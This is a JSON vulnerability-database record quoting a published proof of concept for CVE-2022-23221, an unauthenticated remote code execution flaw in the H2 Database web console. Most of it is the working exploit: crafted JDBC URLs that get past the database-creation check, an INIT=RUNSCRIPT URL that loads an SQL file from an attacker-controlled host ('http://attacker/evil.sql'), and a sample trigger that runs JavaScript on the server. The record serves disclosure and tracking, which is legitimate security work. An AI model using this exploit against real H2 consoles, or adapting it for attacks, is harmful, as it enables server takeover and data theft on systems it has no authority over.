{"uuid": "57f4cac3-0dd0-407a-97b1-bdfad73bef44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-23221", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/40165", "content": "Exploit Collector\nH2 Database Console Remote Code Execution\n\nhttps://4.bp.blogspot.com/-yT3eHciMBDw/WWlvGfUXh9I/AAAAAAAAILU/lYidSj08G0suEfC69x80tZFrj-NYN5F9wCLcBGAs/s1600/h137.png \nThe H2 Database console suffers from an unauthenticated remote code execution vulnerability.\n\nMD5 | 5d78c725ce53c3a68233c0136fdf6a82\n\nDownload\nDocument Title\n===============\nUnauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.\n\nProduct Description\n===============\nThe H2 Console Application\n\nThe Console lets you access a SQL database using a browser interface.\n\nHomepage: http://www.h2database.com/html/quickstart.html\nAffected Components\n===============\nFile Name: WebServer.java\nFile Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java\nImpacted Function: getConnection\n\nPoC\n===============\n\n1) Navigate to the console and attempt to connect to a H2 in memory\ndatabase that does not exist using the following JDBC URL:\n\n```\njdbc:h2:mem:1337;\n```\n\n2) Note that you get the following security exception preventing you\nfrom creating a new in memory database:\n\n```\nDatabase \"mem:1337\" not found, either pre-create it or allow remote\ndatabase creation (not recommended in secure environments) [90149-209]\n90149/90149 (Help)\n```\n\n3) Now try again with the following JDBC URL:\n\n```\njdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\\\n```\n\n4) Note that you were able to successfully create a new in memory database\n5) Create a SQL file that contains a trigger that executes\njava/javascript/ruby code when executed and host it on a domain you\ncontrol (ex: http://attacker)\n6) Use the following JDBC URL to execute the SQL file hosted on your\ndomain on connect:\n\n```\njdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT\nFROM 'http://attacker/evil.sql';'\\\n```\n\nExample evil.sql file:\n\n```\nCREATE TABLE test (\nid INT NOT NULL\n);\n\nCREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript\nvar fos = Java.type(\"java.io.FileOutputStream\");\nvar b = new fos (\"/tmp/pwnedlolol\");';\n\nINSERT INTO TEST VALUES (1);\n```\n\nCVE Issued: CVE-2022-23221\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-06T12:00:05.748443Z"}